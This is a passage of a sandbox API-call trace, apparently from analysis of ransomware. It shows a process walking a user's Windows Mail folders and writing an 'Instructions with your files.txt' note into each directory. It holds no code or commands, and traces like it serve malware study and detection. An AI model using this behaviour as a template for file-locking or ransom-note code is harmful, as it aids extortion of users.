[0130.618] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0130.619] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0130.619] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0130.619] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0130.619] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0130.620] CloseHandle (hObject=0x118) returned 1
[0130.620] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0130.620] GetProcessHeap () returned 0x810000
[0130.620] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x855bc8 | out: hHeap=0x810000) returned 1
[0130.620] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd8d1fc80, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xd8d1fc80, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1
[0130.620] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2c881c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2c881c40, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Mail", cAlternateFileName="WINDOW~3")) returned 1
[0130.620] wnsprintfW (in: pszDest=0x845bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail") returned 70
[0130.620] GetProcessHeap () returned 0x810000
[0130.620] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x855bc8
[0130.620] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\*") returned 72
[0130.620] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2c881c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2c881c40, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0130.622] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\.") returned 72
[0130.622] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2c881c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2c881c40, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.622] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\..") returned 73
[0130.622] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e7c400, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e7c400, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf67dcad6, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x5e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount", cAlternateFileName="ACCOUN~3.OEA")) returned 1
[0130.622] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount") returned 126
[0130.622] StrStrIW (lpFirst="account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount", lpSrch="SDfghjkl") returned 0x0
[0130.622] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e7c400, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e7c400, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf657b4d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x2a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount", cAlternateFileName="ACCOUN~2.OEA")) returned 1
[0130.622] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount") returned 126
[0130.622] StrStrIW (lpFirst="account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount", lpSrch="SDfghjkl") returned 0x0
[0130.622] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e7c400, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e7c400, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf67b6975, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x6c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount", cAlternateFileName="ACCOUN~1.OEA")) returned 1
[0130.622] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount") returned 126
[0130.622] StrStrIW (lpFirst="account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount", lpSrch="SDfghjkl") returned 0x0
[0130.622] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2b9ed580, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2b9ed580, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Backup", cAlternateFileName="")) returned 1
[0130.622] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup") returned 77
[0130.622] GetProcessHeap () returned 0x810000
[0130.622] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x865bd0
[0130.622] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\*") returned 79
[0130.622] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\*", lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2b9ed580, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2b9ed580, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d78
[0130.623] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\.") returned 79
[0130.623] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2b9ed580, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2b9ed580, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.623] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\..") returned 80
[0130.623] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f3aae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2f7a14e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="old", cAlternateFileName="")) returned 1
[0130.623] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old") returned 81
[0130.623] GetProcessHeap () returned 0x810000
[0130.623] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22d0048
[0130.624] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old\\*") returned 83
[0130.624] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old\\*", lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f3aae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2f7a14e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876db8
[0130.625] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old\\.") returned 83
[0130.625] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f3aae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2f7a14e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.626] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old\\..") returned 84
[0130.626] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e562a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e562a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2f2de8d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x200000, dwReserved0=0x0, dwReserved1=0x0, cFileName="edb00001.log", cAlternateFileName="")) returned 1
[0130.626] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old\\edb00001.log") returned 94
[0130.626] StrStrIW (lpFirst="edb00001.log", lpSrch="SDfghjkl") returned 0x0
[0130.626] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e562a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e562a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2ab7545, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x206000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMail.MSMessageStore", cAlternateFileName="WINDOW~1.MSM")) returned 1
[0130.626] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old\\WindowsMail.MSMessageStore") returned 108
[0130.626] StrStrIW (lpFirst="WindowsMail.MSMessageStore", lpSrch="SDfghjkl") returned 0x0
[0130.626] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e562a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e562a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2fec56f, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMail.pat", cAlternateFileName="WINDOW~1.PAT")) returned 1
[0130.626] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old\\WindowsMail.pat") returned 97
[0130.626] StrStrIW (lpFirst="WindowsMail.pat", lpSrch="SDfghjkl") returned 0x0
[0130.626] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e562a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e562a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2fec56f, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMail.pat", cAlternateFileName="WINDOW~1.PAT")) returned 0
[0130.626] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old\\Instructions with your files.txt") returned 114
[0130.626] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\backup\\old\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
[0130.626] WriteFile (in: hFile=0x120, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce454*=0x54, lpOverlapped=0x0) returned 1
[0130.627] WriteFile (in: hFile=0x120, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce454*=0x18, lpOverlapped=0x0) returned 1
[0130.627] WriteFile (in: hFile=0x120, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce454*=0xc, lpOverlapped=0x0) returned 1
[0130.627] WriteFile (in: hFile=0x120, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce454*=0x16, lpOverlapped=0x0) returned 1
[0130.627] WriteFile (in: hFile=0x120, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce454*=0x23, lpOverlapped=0x0) returned 1
[0130.628] CloseHandle (hObject=0x120) returned 1
[0130.628] FindClose (in: hFindFile=0x876db8 | out: hFindFile=0x876db8) returned 1
[0130.628] GetProcessHeap () returned 0x810000
[0130.628] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22d0048 | out: hHeap=0x810000) returned 1
[0130.628] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f3aae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2f7a14e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="old", cAlternateFileName="")) returned 0
[0130.628] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\Instructions with your files.txt") returned 110
[0130.628] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\backup\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
[0130.628] WriteFile (in: hFile=0x11c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce6e4*=0x54, lpOverlapped=0x0) returned 1
[0130.629] WriteFile (in: hFile=0x11c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce6e4*=0x18, lpOverlapped=0x0) returned 1
[0130.629] WriteFile (in: hFile=0x11c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce6e4*=0xc, lpOverlapped=0x0) returned 1
[0130.629] WriteFile (in: hFile=0x11c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce6e4*=0x16, lpOverlapped=0x0) returned 1
[0130.629] WriteFile (in: hFile=0x11c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce6e4*=0x23, lpOverlapped=0x0) returned 1
[0130.629] CloseHandle (hObject=0x11c) returned 1
[0130.629] FindClose (in: hFindFile=0x876d78 | out: hFindFile=0x876d78) returned 1
[0130.629] GetProcessHeap () returned 0x810000
[0130.629] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x865bd0 | out: hHeap=0x810000) returned 1
[0130.631] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e562a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e562a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2c881c40, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="edb.chk", cAlternateFileName="")) returned 1
[0130.631] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\edb.chk") returned 78
[0130.631] StrStrIW (lpFirst="edb.chk", lpSrch="SDfghjkl") returned 0x0
[0130.631] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e30140, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e30140, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2c881c40, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x200000, dwReserved0=0x0, dwReserved1=0x0, cFileName="edb.log", cAlternateFileName="")) returned 1
[0130.631] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\edb.log") returned 78
[0130.631] StrStrIW (lpFirst="edb.log", lpSrch="SDfghjkl") returned 0x0
[0130.631] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e30140, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e30140, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2b29966, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x200000, dwReserved0=0x0, dwReserved1=0x0, cFileName="edb00001.log", cAlternateFileName="")) returned 1
[0130.631] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\edb00001.log") returned 83
[0130.631] StrStrIW (lpFirst="edb00001.log", lpSrch="SDfghjkl") returned 0x0
[0130.631] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e30140, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e30140, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2027392, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x200000, dwReserved0=0x0, dwReserved1=0x0, cFileName="edbres00001.jrs", cAlternateFileName="EDBRES~2.JRS")) returned 1
[0130.631] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\edbres00001.jrs") returned 86
[0130.631] StrStrIW (lpFirst="edbres00001.jrs", lpSrch="SDfghjkl") returned 0x0
[0130.631] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e09fe0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e09fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2216575, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x200000, dwReserved0=0x0, dwReserved1=0x0, cFileName="edbres00002.jrs", cAlternateFileName="EDBRES~1.JRS")) returned 1
